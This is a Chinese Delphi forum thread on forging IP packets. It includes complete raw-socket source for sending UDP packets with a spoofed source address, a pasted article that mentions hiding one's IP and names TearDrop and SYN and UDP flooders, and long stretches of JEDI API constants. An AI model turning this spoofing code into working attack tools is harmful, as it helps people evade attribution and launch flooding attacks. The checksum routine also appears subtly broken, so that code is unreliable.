谁有伪造IP包的源代码? ( 积分: 50 )

  • 主题发起人 主题发起人 fxb
  • 开始时间 开始时间
F

fxb

Unregistered / Unconfirmed
GUEST, unregistred user!
谁有伪造IP包的源代码?以前看到过的,忘记在哪里了.
 
谁有伪造IP包的源代码?以前看到过的,忘记在哪里了.
 
那个构造原始包没有用,用winpcap构造链路层的包很爽[:)]
 
请说清楚啊
 
sniffer,csdn上我贴了回答了一篇,你过去搜索吧,那儿有源代码的
 
unit main;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, OleCtrls, Registry;

Const
SrcIP = '123.123.123.1';
SrcPort = 1234;
DestIP = '123.123.123.2';
DestPort = 4321;

Max_Message = 4068;
Max_Packet = 4096;

type

TPacketBuffer = Array[0..Max_Packet-1] of byte;

TForm1 = class(TForm)
Button1: TButton;
Memo1: TMemo;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
procedure SendIt;
end;

// IP Header
type
T_IP_Header = record
ip_verlen : Byte;
ip_tos : Byte;
ip_totallength : Word;
ip_id : Word;
ip_offset : Word;
ip_ttl : Byte;
ip_protocol : Byte;
ip_checksum : Word;
ip_srcaddr : LongWord;
ip_destaddr : LongWord;
end;

// UDP Header
Type
T_UDP_Header = record
src_portno : Word;
dst_portno : Word;
udp_length : Word;
udp_checksum : Word;
end;

// Some Winsock 2 type declarations
u_char = Char;
u_short = Word;
u_int = Integer;
u_long = Longint;

SunB = packed record
s_b1, s_b2, s_b3, s_b4: u_char;
end;
SunW = packed record
s_w1, s_w2: u_short;
end;
in_addr = record
case integer of
0: (S_un_b: SunB);
1: (S_un_w: SunW);
2: (S_addr: u_long);
end;
TInAddr = in_addr;
Sockaddr_in = record
case Integer of
0: (sin_family: u_short;
sin_port: u_short;
sin_addr: TInAddr;
sin_zero: array[0..7] of Char);
1: (sa_family: u_short;
sa_data: array[0..13] of Char)
end;
TSockAddr = Sockaddr_in;
TSocket = u_int;

const
WSADESCRIPTION_LEN = 256;
WSASYS_STATUS_LEN = 128;

type
PWSAData = ^TWSAData;
WSAData = record // !!! also WSDATA
wVersion: Word;
wHighVersion: Word;
szDescription: array[0..WSADESCRIPTION_LEN] of Char;
szSystemStatus: array[0..WSASYS_STATUS_LEN] of Char;
iMaxSockets: Word;
iMaxUdpDg: Word;
lpVendorInfo: PChar;
end;
TWSAData = WSAData;

// Define some winsock 2 functions
function closesocket(s: TSocket): Integer; stdcall;
function socket(af, Struct, protocol: Integer): TSocket; stdcall;
function sendto(s: TSocket; var Buf; len, flags: Integer; var addrto: TSockAddr;
tolen: Integer): Integer; stdcall;{}
function setsockopt(s: TSocket; level, optname: Integer; optval: PChar;
optlen: Integer): Integer; stdcall;
function inet_addr(cp: PChar): u_long; stdcall; {PInAddr;} { TInAddr }
function htons(hostshort: u_short): u_short; stdcall;
function WSAGetLastError: Integer; stdcall;
function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall;
function WSACleanup: Integer; stdcall;

const
AF_INET = 2; // internetwork: UDP, TCP, etc.

IP_HDRINCL = 2; // IP Header Include

SOCK_RAW = 3; // raw-protocol interface

IPPROTO_IP = 0; // dummy for IP
IPPROTO_TCP = 6; // tcp
IPPROTO_UDP = 17; // user datagram protocol
IPPROTO_RAW = 255; // raw IP packet

INVALID_SOCKET = TSocket(NOT(0));
SOCKET_ERROR = -1;

var
Form1: TForm1;

implementation

// Import Winsock 2 functions
const WinSocket = 'WS2_32.DLL';

function closesocket; external winsocket name 'closesocket';
function socket; external winsocket name 'socket';
function sendto; external winsocket name 'sendto';
function setsockopt; external winsocket name 'setsockopt';
function inet_addr; external winsocket name 'inet_addr';
function htons; external winsocket name 'htons';
function WSAGetLastError; external winsocket name 'WSAGetLastError';
function WSAStartup; external winsocket name 'WSAStartup';
function WSACleanup; external winsocket name 'WSACleanup';


{$R *.DFM}

//
// Function: checksum
//
// Description:
// This function calculates the 16-bit one's complement sum
// for the supplied buffer
//
function CheckSum(Var Buffer; Size : integer) : Word;
type
TWordArray = Array[0..1] of Word;
var
ChkSum : LongWord;
i : Integer;
begin
ChkSum := 0;
i := 0;
While Size > 1 do begin
ChkSum := ChkSum + TWordArray(Buffer);
inc(i);
Size := Size - SizeOf(Word);
end;

if Size=1 then ChkSum := ChkSum + Byte(TWordArray(Buffer));

ChkSum := (ChkSum shr 16) + (ChkSum and $FFFF);
ChkSum := ChkSum + (Chksum shr 16);

Result := Word(ChkSum);
end;


procedure BuildHeaders(
FromIP : String;
iFromPort : Word;
ToIP : String;
iToPort : Word;
StrMessage : String;
Var Buf : TPacketBuffer;
Var remote : TSockAddr;
Var iTotalSize : Word
);
Var
dwFromIP : LongWord;
dwToIP : LongWord;

iIPVersion : Word;
iIPSize : Word;
ipHdr : T_IP_Header;
udpHdr : T_UDP_Header;

iUdpSize : Word;
iUdpChecksumSize : Word;
cksum : Word;

Ptr : ^Byte;

procedure IncPtr(Value : Integer);
begin
ptr := pointer(integer(ptr) + Value);
end;

begin
// Convert ip address'ss

dwFromIP := inet_Addr(PChar(FromIP));
dwToIP := inet_Addr(PChar(ToIP));

// Initalize the IP header
//
iTotalSize := sizeof(ipHdr) + sizeof(udpHdr) + length(strMessage);

iIPVersion := 4;
iIPSize := sizeof(ipHdr) div sizeof(LongWord);
//
// IP version goes in the high order 4 bits of ip_verlen. The
// IP header length (in 32-bit words) goes in the lower 4 bits.
//
ipHdr.ip_verlen := (iIPVersion shl 4) or iIPSize;
ipHdr.ip_tos := 0; // IP type of service
ipHdr.ip_totallength := htons(iTotalSize); // Total packet len
ipHdr.ip_id := 0; // Unique identifier: set to 0
ipHdr.ip_offset := 0; // Fragment offset field
ipHdr.ip_ttl := 128; // Time to live
ipHdr.ip_protocol := $11; // Protocol(UDP)
ipHdr.ip_checksum := 0 ; // IP checksum
ipHdr.ip_srcaddr := dwFromIP; // Source address
ipHdr.ip_destaddr := dwToIP; // Destination address
//
// Initalize the UDP header
//
iUdpSize := sizeof(udpHdr) + length(strMessage);

udpHdr.src_portno := htons(iFromPort) ;
udpHdr.dst_portno := htons(iToPort) ;
udpHdr.udp_length := htons(iUdpSize) ;
udpHdr.udp_checksum := 0 ;
//
// Build the UDP pseudo-header for calculating the UDP checksum.
// The pseudo-header consists of the 32-bit source IP address,
// the 32-bit destination IP address, a zero byte, the 8-bit
// IP protocol field, the 16-bit UDP length, and the UDP
// header itself along with its data (padded with a 0 if
// the data is odd length).
//
iUdpChecksumSize := 0;

ptr := @buf[0];
FillChar(Buf, SizeOf(Buf), 0);

Move(ipHdr.ip_srcaddr, ptr^, SizeOf(ipHdr.ip_srcaddr));
IncPtr(SizeOf(ipHdr.ip_srcaddr));

iUdpChecksumSize := iUdpChecksumSize + sizeof(ipHdr.ip_srcaddr);

Move(ipHdr.ip_destaddr, ptr^, SizeOf(ipHdr.ip_destaddr));
IncPtr(SizeOf(ipHdr.ip_destaddr));

iUdpChecksumSize := iUdpChecksumSize + sizeof(ipHdr.ip_destaddr);

IncPtr(1);

Inc(iUdpChecksumSize);

Move(ipHdr.ip_protocol, ptr^, sizeof(ipHdr.ip_protocol));
IncPtr(sizeof(ipHdr.ip_protocol));
iUdpChecksumSize := iUdpChecksumSize + sizeof(ipHdr.ip_protocol);

Move(udpHdr.udp_length, ptr^, sizeof(udpHdr.udp_length));
IncPtr(sizeof(udpHdr.udp_length));
iUdpChecksumSize := iUdpChecksumSize + sizeof(udpHdr.udp_length);

move(udpHdr, ptr^, sizeof(udpHdr));
IncPtr(sizeof(udpHdr));
iUdpChecksumSize := iUdpCheckSumSize + sizeof(udpHdr);

Move(StrMessage[1], ptr^, Length(strMessage));
IncPtr(Length(StrMessage));

iUdpChecksumSize := iUdpChecksumSize + length(strMessage);

cksum := checksum(buf, iUdpChecksumSize);
udpHdr.udp_checksum := cksum;

//
// Now assemble the IP and UDP headers along with the data
// so we can send it
//
FillChar(Buf, SizeOf(Buf), 0);
Ptr := @Buf[0];

Move(ipHdr, ptr^, SizeOf(ipHdr)); IncPtr(SizeOf(ipHdr));
Move(udpHdr, ptr^, SizeOf(udpHdr)); IncPtr(SizeOf(udpHdr));
Move(StrMessage[1], ptr^, length(StrMessage));

// Apparently, this SOCKADDR_IN structure makes no difference.
// Whatever we put as the destination IP addr in the IP header
// is what goes. Specifying a different destination in remote
// will be ignored.
//
remote.sin_family := AF_INET;
remote.sin_port := htons(iToPort);
remote.sin_addr.s_addr := dwToIP;
end;

procedure TForm1.SendIt;
Var
sh : TSocket;
bOpt : Integer;
ret : Integer;
Buf : TPacketBuffer;
Remote : TSockAddr;
Local : TSockAddr;
iTotalSize : Word;
wsdata : TWSAdata;

begin
// Startup Winsock 2
ret := WSAStartup($0002, wsdata);
if ret<>0 then begin
memo1.lines.add('WSA Startup failed.');
exit;
end;
with memo1.lines do begin
add('WSA Startup:');
add('Desc.: '+wsData.szDescription);
add('Status: '+wsData.szSystemStatus);
end;

try
// Create socket
sh := Socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
if (sh = INVALID_SOCKET) then begin
memo1.lines.add('Socket() failed: '+IntToStr(WSAGetLastError));
exit;
end;
Memo1.lines.add('Socket Handle = '+IntToStr(sh));

// Option: Header Include
bOpt := 1;
ret := SetSockOpt(sh, IPPROTO_IP, IP_HDRINCL, @bOpt, SizeOf(bOpt));
if ret = SOCKET_ERROR then begin
Memo1.lines.add('setsockopt(IP_HDRINCL) failed: '+IntToStr(WSAGetLastError));
exit;
end;

// Build the packet
BuildHeaders( SrcIP, SrcPort,
DestIP, DestPort,
'THIS IS A TEST PACKET',
Buf, Remote, iTotalSize );

// Send the packet
ret := SendTo(sh, buf, iTotalSize, 0, Remote, SizeOf(Remote));
if ret = SOCKET_ERROR then
Memo1.Lines.Add('sendto() failed: '+IntToStr(WSAGetLastError))
else
Memo1.Lines.Add('send '+IntToStr(ret)+' bytes.');

// Close socket
CloseSocket(sh);
finally
// Close Winsock 2
WSACleanup;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
SendIt;
end;

end.
 
如何伪造TCP包?上面伪造的是UDP包
请赐教!
 
SYN PACKET是什么意思啊?
 
请问:这样伪造的IP包有用吗?(我试过的,好象没有用???)
因为这样的IP包中MAC地址仍然是真实的啊.
比如有个网络程序在接受此IP包,它是根据IP地址接受呢?还是根据MAC地址接收啊?
是否要修改MAC地址啊?
 
我们知道 ,TCP/IP 网络数据全部是通过封装在 IP 数据包中在 Internet 网上传送的 ,也就是封装建立起一个包含 IP 头和数据的 IP 数据报。一般来说 ,网络软件总是以多个 32 位字产生 IP 头 ,即使必须用附加的 0 填充 IP 头。 IP 头包含了传输 IP 数据包中封装数据的所有必要信息。 IP 头的数据结构和描述如下 :


成员 长度 (Bit) 描述

Version 4 IP 头的版本号 ,目前是 IPv4,最新是 IPv6

Header Length 4 IP 头的长度 ,若没有特殊选择 ,IP 头总是 20 字节长

Type of Service 8 服务类型 ,定义了数据传输的优先级、延迟、吞吐量和可靠性等特性

Total Packet Length 16 IP 包的长度 ,若没有特殊选项 ,一般为 20 字节长

Identification 16 IP 包标识 ,主机使用它唯一确定每个发送的数据报

Flag 3 IP 数据分割标志

Fragment Offset 13 IP 数据分割偏移

Time to Live 8 数据报在网络上的存活时间 ,每通过一个路由器 ,该数值减一

Protocol 8 TCP/IP 协议类型 ,比如 :ICMP 为 1,IGMP 为 2,TCP 为 6,UDP 为 17 等

Header Checksum 16 头部检验和

Source IP Address 32 源 IP 地址

Destination IP Address 32 目的 IP 地址

Other ? 其他选项

Data ? 数据


实现自己定义的 IP 头是一件非常有意义的事情 ,比如 ,通过改变 IP 头里的 TOS 的优先级和 TTL,你可以使自己的数据包有更强的传输能力和寿命 ,通过修改 IP 头里的源 IP 地址就可以隐藏自己机器的 IP 地址等等。象著名攻击程序 " 泪滴 TearDrop" 就是通过故意制造系统不能处理的分片 IP 包而实现的 ,还有 SYN Flooder 和 UDP Flooder 就是通过产生随机源 IP 实现欺骗的。


三、实现原理


一般来说 ,自定义 IP 头是通过使用 socket 的库函数 setsockopt() 的选项 IP_HDRINCL 来实现的 ,尽管这在 unix 和 linux 平台上很容易实现 ,但遗憾的是在 Windows 平台的 Winsock1.1 和 Winsock2.0 函数库里 setsockopt() 不支持 IP_HDRINCL 选项 ,所以在 Windows 9x/NT 里是无法通过 Winsock 函数库来实现 IP 头自定义的 ,当然可以通过编写虚拟设备驱动程序来实现 ,不过比较复杂 ,但 Windows 2000 的出现打破了这种局面 ,Windows2000 的 Winsock2.2 函数库里全面支持 setsockopt() 的选项 IP_HDRINCL,使得我们轻松就可以实现自定义的 IP 头。实现方法如下 :


四、代码部分


{


1. 本程序只能运行于 Window 2000.


2. 你必须有 Administrator 权限 .


3. 程序需要用到一个 button 和一个 memo.

----------------------------------------------------------------------

运行程序前 ,请根据自己的需要改变 SrcIP 、 SrcPort 、 DestIP 和 DestPort 的值

 
谢谢您的提示firstboy,但是你的程序是对的,但是到底能起到什么作用呢?
我的疑惑:
<<这样伪造的IP包有用吗?(我试过的,好象没有用???)
因为这样的IP包中MAC地址仍然是真实的啊.
比如有个网络程序在接受此IP包,它是根据IP地址接受呢?还是根据MAC地址接收啊?
是否要修改MAC地址啊?>>
 
封包要自己构造,包括Ethernet报头、ARP报头和ARP数据体。

用Iphlpapi可以实现网卡号与IP地址绑定

1、调用Iphlpapi.dll中的CreateIpNetEntry函数。
2、如查ARP表,则用GetIpNetTable函数。
3、注:部分函数如SendARP不受windows9x支持。
以下内容摘自msdn。

The CreateIpNetEntry function creates an Address Resolution Protocol (ARP) entry in the ARP table on the local computer.

DWORD CreateIpNetEntry(
PMIB_IPNETROW pArpEntry // pointer to info for new entry
);
Parameters
pArpEntry
[in] Pointer to a structure that specifies information for the new entry. The caller must specify values for all members of this structure.
Return Values
If the function succeeds, the return value is NO_ERROR.

If the function fails, use to obtain the message string for the returned error.

Requirements
Windows NT/2000 or later: Requires Windows NT 4.0 SP4 or later.
Windows 95/98/Me: Requires Windows 98 or later.
Header: Declared in Iphlpapi.h.
Library: Use Iphlpapi.lib.

See Also
DeleteIpNetEntry, , SetIpNetEntry
--------------------------------------



此程序使用IP Help API, 而Delphi没有提供相应的函数声明单元,下面先列出几个单元

IpIfConst单元:

{******************************************************************************}
{ }
{ Internet Protocol Helper API interface Unit for Object Pascal }
{ }
{ Portions created by Microsoft are Copyright (C) 1995-2001 Microsoft }
{ Corporation. All Rights Reserved. }
{ }
{ The original file is: ipifcons.h, released July 2000. The original Pascal }
{ code is: IpIfCons.pas, released September 2000. The initial developer of the }
{ Pascal code is Marcel van Brakel (brakelm@chello.nl). }
{ }
{ Portions created by Marcel van Brakel are Copyright (C) 1999-2001 }
{ Marcel van Brakel. All Rights Reserved. }
{ }
{ Contributor(s): John C. Penman (jcp@craiglockhart.com) }
{ Vladimir Vassiliev (voldemarv@hotpop.com) }
{ }
{ Obtained through: Joint Endeavour of Delphi Innovators (Project JEDI) }
{ }
{ You may retrieve the latest version of this file at the Project JEDI home }
{ page, located at http://delphi-jedi.org or my personal homepage located at }
{ http://members.chello.nl/m.vanbrakel2 }
{ }
{ The contents of this file are used with permission, subject to the Mozilla }
{ Public License Version 1.1 (the "License"); you may not use this file except }
{ in compliance with the License. You may obtain a copy of the License at }
{ http://www.mozilla.org/MPL/MPL-1.1.html }
{ }
{ Software distributed under the License is distributed on an "AS IS" basis, }
{ WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for }
{ the specific language governing rights and limitations under the License. }
{ }
{ Alternatively, the contents of this file may be used under the terms of the }
{ GNU Lesser General Public License (the "LGPL License"), in which case the }
{ provisions of the LGPL License are applicable instead of those above. }
{ If you wish to allow use of your version of this file only under the terms }
{ of the LGPL License and not to allow others to use your version of this file }
{ under the MPL, indicate your decision by deleting the provisions above and }
{ replace them with the notice and other provisions required by the LGPL }
{ License. If you do not delete the provisions above, a recipient may use }
{ your version of this file under either the MPL or the LGPL License. }
{ }
{ For more information about the LGPL: http://www.gnu.org/copyleft/lesser.html }
{ }
{******************************************************************************}

unit IpIfConst;

{$WEAKPACKAGEUNIT}

{$HPPEMIT ''}
{$HPPEMIT '#include "ipifcons.h"'}
{$HPPEMIT ''}

//{$I WINDEFINES.INC}

interface

//////////////////////////////////////////////////////////////////////////////
// //
// Media types //
// //
//////////////////////////////////////////////////////////////////////////////

const
MIN_IF_TYPE = 1;
{$EXTERNALSYM MIN_IF_TYPE}

IF_TYPE_OTHER = 1; // None of the below
{$EXTERNALSYM IF_TYPE_OTHER}
IF_TYPE_REGULAR_1822 = 2;
{$EXTERNALSYM IF_TYPE_REGULAR_1822}
IF_TYPE_HDH_1822 = 3;
{$EXTERNALSYM IF_TYPE_HDH_1822}
IF_TYPE_DDN_X25 = 4;
{$EXTERNALSYM IF_TYPE_DDN_X25}
IF_TYPE_RFC877_X25 = 5;
{$EXTERNALSYM IF_TYPE_RFC877_X25}
IF_TYPE_ETHERNET_CSMACD = 6;
{$EXTERNALSYM IF_TYPE_ETHERNET_CSMACD}
IF_TYPE_IS088023_CSMACD = 7;
{$EXTERNALSYM IF_TYPE_IS088023_CSMACD}
IF_TYPE_ISO88024_TOKENBUS = 8;
{$EXTERNALSYM IF_TYPE_ISO88024_TOKENBUS}
IF_TYPE_ISO88025_TOKENRING = 9;
{$EXTERNALSYM IF_TYPE_ISO88025_TOKENRING}
IF_TYPE_ISO88026_MAN = 10;
{$EXTERNALSYM IF_TYPE_ISO88026_MAN}
IF_TYPE_STARLAN = 11;
{$EXTERNALSYM IF_TYPE_STARLAN}
IF_TYPE_PROTEON_10MBIT = 12;
{$EXTERNALSYM IF_TYPE_PROTEON_10MBIT}
IF_TYPE_PROTEON_80MBIT = 13;
{$EXTERNALSYM IF_TYPE_PROTEON_80MBIT}
IF_TYPE_HYPERCHANNEL = 14;
{$EXTERNALSYM IF_TYPE_HYPERCHANNEL}
IF_TYPE_FDDI = 15;
{$EXTERNALSYM IF_TYPE_FDDI}
IF_TYPE_LAP_B = 16;
{$EXTERNALSYM IF_TYPE_LAP_B}
IF_TYPE_SDLC = 17;
{$EXTERNALSYM IF_TYPE_SDLC}
IF_TYPE_DS1 = 18; // DS1-MIB
{$EXTERNALSYM IF_TYPE_DS1}
IF_TYPE_E1 = 19; // Obsolete; see DS1-MIB
{$EXTERNALSYM IF_TYPE_E1}
IF_TYPE_BASIC_ISDN = 20;
{$EXTERNALSYM IF_TYPE_BASIC_ISDN}
IF_TYPE_PRIMARY_ISDN = 21;
{$EXTERNALSYM IF_TYPE_PRIMARY_ISDN}
IF_TYPE_PROP_POINT2POINT_SERIAL = 22; // proprietary serial
{$EXTERNALSYM IF_TYPE_PROP_POINT2POINT_SERIAL}
IF_TYPE_PPP = 23;
{$EXTERNALSYM IF_TYPE_PPP}
IF_TYPE_SOFTWARE_LOOPBACK = 24;
{$EXTERNALSYM IF_TYPE_SOFTWARE_LOOPBACK}
IF_TYPE_EON = 25; // CLNP over IP
{$EXTERNALSYM IF_TYPE_EON}
IF_TYPE_ETHERNET_3MBIT = 26;
{$EXTERNALSYM IF_TYPE_ETHERNET_3MBIT}
IF_TYPE_NSIP = 27; // XNS over IP
{$EXTERNALSYM IF_TYPE_NSIP}
IF_TYPE_SLIP = 28; // Generic Slip
{$EXTERNALSYM IF_TYPE_SLIP}
IF_TYPE_ULTRA = 29; // ULTRA Technologies
{$EXTERNALSYM IF_TYPE_ULTRA}
IF_TYPE_DS3 = 30; // DS3-MIB
{$EXTERNALSYM IF_TYPE_DS3}
IF_TYPE_SIP = 31; // SMDS, coffee
{$EXTERNALSYM IF_TYPE_SIP}
IF_TYPE_FRAMERELAY = 32; // DTE only
{$EXTERNALSYM IF_TYPE_FRAMERELAY}
IF_TYPE_RS232 = 33;
{$EXTERNALSYM IF_TYPE_RS232}
IF_TYPE_PARA = 34; // Parallel port
{$EXTERNALSYM IF_TYPE_PARA}
IF_TYPE_ARCNET = 35;
{$EXTERNALSYM IF_TYPE_ARCNET}
IF_TYPE_ARCNET_PLUS = 36;
{$EXTERNALSYM IF_TYPE_ARCNET_PLUS}
IF_TYPE_ATM = 37; // ATM cells
{$EXTERNALSYM IF_TYPE_ATM}
IF_TYPE_MIO_X25 = 38;
{$EXTERNALSYM IF_TYPE_MIO_X25}
IF_TYPE_SONET = 39; // SONET or SDH
{$EXTERNALSYM IF_TYPE_SONET}
IF_TYPE_X25_PLE = 40;
{$EXTERNALSYM IF_TYPE_X25_PLE}
IF_TYPE_ISO88022_LLC = 41;
{$EXTERNALSYM IF_TYPE_ISO88022_LLC}
IF_TYPE_LOCALTALK = 42;
{$EXTERNALSYM IF_TYPE_LOCALTALK}
IF_TYPE_SMDS_DXI = 43;
{$EXTERNALSYM IF_TYPE_SMDS_DXI}
IF_TYPE_FRAMERELAY_SERVICE = 44; // FRNETSERV-MIB
{$EXTERNALSYM IF_TYPE_FRAMERELAY_SERVICE}
IF_TYPE_V35 = 45;
{$EXTERNALSYM IF_TYPE_V35}
IF_TYPE_HSSI = 46;
{$EXTERNALSYM IF_TYPE_HSSI}
IF_TYPE_HIPPI = 47;
{$EXTERNALSYM IF_TYPE_HIPPI}
IF_TYPE_MODEM = 48; // Generic Modem
{$EXTERNALSYM IF_TYPE_MODEM}
IF_TYPE_AAL5 = 49; // AAL5 over ATM
{$EXTERNALSYM IF_TYPE_AAL5}
IF_TYPE_SONET_PATH = 50;
{$EXTERNALSYM IF_TYPE_SONET_PATH}
IF_TYPE_SONET_VT = 51;
{$EXTERNALSYM IF_TYPE_SONET_VT}
IF_TYPE_SMDS_ICIP = 52; // SMDS InterCarrier Interface
{$EXTERNALSYM IF_TYPE_SMDS_ICIP}
IF_TYPE_PROP_VIRTUAL = 53; // Proprietary virtual/internal
{$EXTERNALSYM IF_TYPE_PROP_VIRTUAL}
IF_TYPE_PROP_MULTIPLEXOR = 54; // Proprietary multiplexing
{$EXTERNALSYM IF_TYPE_PROP_MULTIPLEXOR}
IF_TYPE_IEEE80212 = 55; // 100BaseVG
{$EXTERNALSYM IF_TYPE_IEEE80212}
IF_TYPE_FIBRECHANNEL = 56;
{$EXTERNALSYM IF_TYPE_FIBRECHANNEL}
IF_TYPE_HIPPIINTERFACE = 57;
{$EXTERNALSYM IF_TYPE_HIPPIINTERFACE}
IF_TYPE_FRAMERELAY_INTERCONNECT = 58; // Obsolete, use 32 or 44
{$EXTERNALSYM IF_TYPE_FRAMERELAY_INTERCONNECT}
IF_TYPE_AFLANE_8023 = 59; // ATM Emulated LAN for 802.3
{$EXTERNALSYM IF_TYPE_AFLANE_8023}
IF_TYPE_AFLANE_8025 = 60; // ATM Emulated LAN for 802.5
{$EXTERNALSYM IF_TYPE_AFLANE_8025}
IF_TYPE_CCTEMUL = 61; // ATM Emulated circuit
{$EXTERNALSYM IF_TYPE_CCTEMUL}
IF_TYPE_FASTETHER = 62; // Fast Ethernet (100BaseT)
{$EXTERNALSYM IF_TYPE_FASTETHER}
IF_TYPE_ISDN = 63; // ISDN and X.25
{$EXTERNALSYM IF_TYPE_ISDN}
IF_TYPE_V11 = 64; // CCITT V.11/X.21
{$EXTERNALSYM IF_TYPE_V11}
IF_TYPE_V36 = 65; // CCITT V.36
{$EXTERNALSYM IF_TYPE_V36}
IF_TYPE_G703_64K = 66; // CCITT G703 at 64Kbps
{$EXTERNALSYM IF_TYPE_G703_64K}
IF_TYPE_G703_2MB = 67; // Obsolete; see DS1-MIB
{$EXTERNALSYM IF_TYPE_G703_2MB}
IF_TYPE_QLLC = 68; // SNA QLLC
{$EXTERNALSYM IF_TYPE_QLLC}
IF_TYPE_FASTETHER_FX = 69; // Fast Ethernet (100BaseFX)
{$EXTERNALSYM IF_TYPE_FASTETHER_FX}
IF_TYPE_CHANNEL = 70;
{$EXTERNALSYM IF_TYPE_CHANNEL}
IF_TYPE_IEEE80211 = 71; // Radio spread spectrum
{$EXTERNALSYM IF_TYPE_IEEE80211}
IF_TYPE_IBM370PARCHAN = 72; // IBM System 360/370 OEMI Channel
{$EXTERNALSYM IF_TYPE_IBM370PARCHAN}
IF_TYPE_ESCON = 73; // IBM Enterprise Systems Connection
{$EXTERNALSYM IF_TYPE_ESCON}
IF_TYPE_DLSW = 74; // Data Link Switching
{$EXTERNALSYM IF_TYPE_DLSW}
IF_TYPE_ISDN_S = 75; // ISDN S/T interface
{$EXTERNALSYM IF_TYPE_ISDN_S}
IF_TYPE_ISDN_U = 76; // ISDN U interface
{$EXTERNALSYM IF_TYPE_ISDN_U}
IF_TYPE_LAP_D = 77; // Link Access Protocol D
{$EXTERNALSYM IF_TYPE_LAP_D}
IF_TYPE_IPSWITCH = 78; // IP Switching Objects
{$EXTERNALSYM IF_TYPE_IPSWITCH}
IF_TYPE_RSRB = 79; // Remote Source Route Bridging
{$EXTERNALSYM IF_TYPE_RSRB}
IF_TYPE_ATM_LOGICAL = 80; // ATM Logical Port
{$EXTERNALSYM IF_TYPE_ATM_LOGICAL}
IF_TYPE_DS0 = 81; // Digital Signal Level 0
{$EXTERNALSYM IF_TYPE_DS0}
IF_TYPE_DS0_BUNDLE = 82; // Group of ds0s on the same ds1
{$EXTERNALSYM IF_TYPE_DS0_BUNDLE}
IF_TYPE_BSC = 83; // Bisynchronous Protocol
{$EXTERNALSYM IF_TYPE_BSC}
IF_TYPE_ASYNC = 84; // Asynchronous Protocol
{$EXTERNALSYM IF_TYPE_ASYNC}
IF_TYPE_CNR = 85; // Combat Net Radio
{$EXTERNALSYM IF_TYPE_CNR}
IF_TYPE_ISO88025R_DTR = 86; // ISO 802.5r DTR
{$EXTERNALSYM IF_TYPE_ISO88025R_DTR}
IF_TYPE_EPLRS = 87; // Ext Pos Loc Report Sys
{$EXTERNALSYM IF_TYPE_EPLRS}
IF_TYPE_ARAP = 88; // Appletalk Remote Access Protocol
{$EXTERNALSYM IF_TYPE_ARAP}
IF_TYPE_PROP_CNLS = 89; // Proprietary Connectionless Proto
{$EXTERNALSYM IF_TYPE_PROP_CNLS}
IF_TYPE_HOSTPAD = 90; // CCITT-ITU X.29 PAD Protocol
{$EXTERNALSYM IF_TYPE_HOSTPAD}
IF_TYPE_TERMPAD = 91; // CCITT-ITU X.3 PAD Facility
{$EXTERNALSYM IF_TYPE_TERMPAD}
IF_TYPE_FRAMERELAY_MPI = 92; // Multiproto Interconnect over FR
{$EXTERNALSYM IF_TYPE_FRAMERELAY_MPI}
IF_TYPE_X213 = 93; // CCITT-ITU X213
{$EXTERNALSYM IF_TYPE_X213}
IF_TYPE_ADSL = 94; // Asymmetric Digital Subscrbr Loop
{$EXTERNALSYM IF_TYPE_ADSL}
IF_TYPE_RADSL = 95; // Rate-Adapt Digital Subscrbr Loop
{$EXTERNALSYM IF_TYPE_RADSL}
IF_TYPE_SDSL = 96; // Symmetric Digital Subscriber Loop
{$EXTERNALSYM IF_TYPE_SDSL}
IF_TYPE_VDSL = 97; // Very H-Speed Digital Subscrb Loop
{$EXTERNALSYM IF_TYPE_VDSL}
IF_TYPE_ISO88025_CRFPRINT = 98; // ISO 802.5 CRFP
{$EXTERNALSYM IF_TYPE_ISO88025_CRFPRINT}
IF_TYPE_MYRINET = 99; // Myricom Myrinet
{$EXTERNALSYM IF_TYPE_MYRINET}
IF_TYPE_VOICE_EM = 100; // Voice recEive and transMit
{$EXTERNALSYM IF_TYPE_VOICE_EM}
IF_TYPE_VOICE_FXO = 101; // Voice Foreign Exchange Office
{$EXTERNALSYM IF_TYPE_VOICE_FXO}
IF_TYPE_VOICE_FXS = 102; // Voice Foreign Exchange Station
{$EXTERNALSYM IF_TYPE_VOICE_FXS}
IF_TYPE_VOICE_ENCAP = 103; // Voice encapsulation
{$EXTERNALSYM IF_TYPE_VOICE_ENCAP}
IF_TYPE_VOICE_OVERIP = 104; // Voice over IP encapsulation
{$EXTERNALSYM IF_TYPE_VOICE_OVERIP}
IF_TYPE_ATM_DXI = 105; // ATM DXI
{$EXTERNALSYM IF_TYPE_ATM_DXI}
IF_TYPE_ATM_FUNI = 106; // ATM FUNI
{$EXTERNALSYM IF_TYPE_ATM_FUNI}
IF_TYPE_ATM_IMA = 107; // ATM IMA
{$EXTERNALSYM IF_TYPE_ATM_IMA}
IF_TYPE_PPPMULTILINKBUNDLE = 108; // PPP Multilink Bundle
{$EXTERNALSYM IF_TYPE_PPPMULTILINKBUNDLE}
IF_TYPE_IPOVER_CDLC = 109; // IBM ipOverCdlc
{$EXTERNALSYM IF_TYPE_IPOVER_CDLC}
IF_TYPE_IPOVER_CLAW = 110; // IBM Common Link Access to Workstn
{$EXTERNALSYM IF_TYPE_IPOVER_CLAW}
IF_TYPE_STACKTOSTACK = 111; // IBM stackToStack
{$EXTERNALSYM IF_TYPE_STACKTOSTACK}
IF_TYPE_VIRTUALIPADDRESS = 112; // IBM VIPA
{$EXTERNALSYM IF_TYPE_VIRTUALIPADDRESS}
IF_TYPE_MPC = 113; // IBM multi-proto channel support
{$EXTERNALSYM IF_TYPE_MPC}
IF_TYPE_IPOVER_ATM = 114; // IBM ipOverAtm
{$EXTERNALSYM IF_TYPE_IPOVER_ATM}
IF_TYPE_ISO88025_FIBER = 115; // ISO 802.5j Fiber Token Ring
{$EXTERNALSYM IF_TYPE_ISO88025_FIBER}
IF_TYPE_TDLC = 116; // IBM twinaxial data link control
{$EXTERNALSYM IF_TYPE_TDLC}
IF_TYPE_GIGABITETHERNET = 117;
{$EXTERNALSYM IF_TYPE_GIGABITETHERNET}
IF_TYPE_HDLC = 118;
{$EXTERNALSYM IF_TYPE_HDLC}
IF_TYPE_LAP_F = 119;
{$EXTERNALSYM IF_TYPE_LAP_F}
IF_TYPE_V37 = 120;
{$EXTERNALSYM IF_TYPE_V37}
